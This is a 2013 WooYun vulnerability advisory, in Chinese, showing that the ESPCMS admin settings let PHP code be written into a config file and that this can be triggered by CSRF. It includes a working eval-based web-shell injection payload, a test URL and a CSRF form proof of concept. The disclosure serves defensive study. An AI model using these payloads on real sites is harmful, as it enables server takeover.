当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-038391

漏洞标题：代码审计系列4: 易思ESPCMS后台功能CSRF导致PHP代码执行

相关厂商：易思ESPCMS企业网站管理系统

漏洞作者： LaiX

提交时间：2013-09-28 11:39

修复时间：2013-12-24 11:40

公开时间：2013-12-24 11:40

漏洞类型：CSRF

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-28： 细节已通知厂商并且等待厂商处理中
2013-10-08： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2013-12-02： 细节向核心白帽子及相关领域专家公开
2013-12-12： 细节向普通白帽子公开
2013-12-22： 细节向实习白帽子公开
2013-12-24： 细节向公众公开

简要描述：

暂无

详细说明：

这是一个后台GETSHELL的漏洞，但是由于该程序没有对CSRF进行防御，所以可以导致CSRF直接GETshell，并且加重危害

漏洞证明：

问题页面：后台-系统设置-网站基本参数设置
对输入的数据并没有进行太过严格的过滤可以导致直接写入恶意PHP代码进配置文件
这里我们来测试一下'网站名称'这一项。
我们构造：

',//hello


1.png


保存之后，我们来看看(command.php)

2.png


然后我们进一步构造：

',);eval($_GET['x']);$CONFIG=Array(//


3.png


保存之后，我们来看看(command.php)

4.png


看起来没问题，我们试着访问

http://127.0.0.1:8080/espcms/datacache/command.php?x=phpinfo();


5.png


接下来给出CSRF的测试代码

<form id='test_form' action='http://127.0.0.1:8080/espcms/adminsoft/index.php?archive=management&action=setsave' method='POST' >
   <input type='hidden' name='sitename' value='getshell啦' >
   <input type='submit' name='submit' value='submit' >
</form>

修复方案：

过滤严格一点吧

版权声明：转载请注明来源 LaiX@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-12-24 11:40

厂商回复：

最新状态：

暂无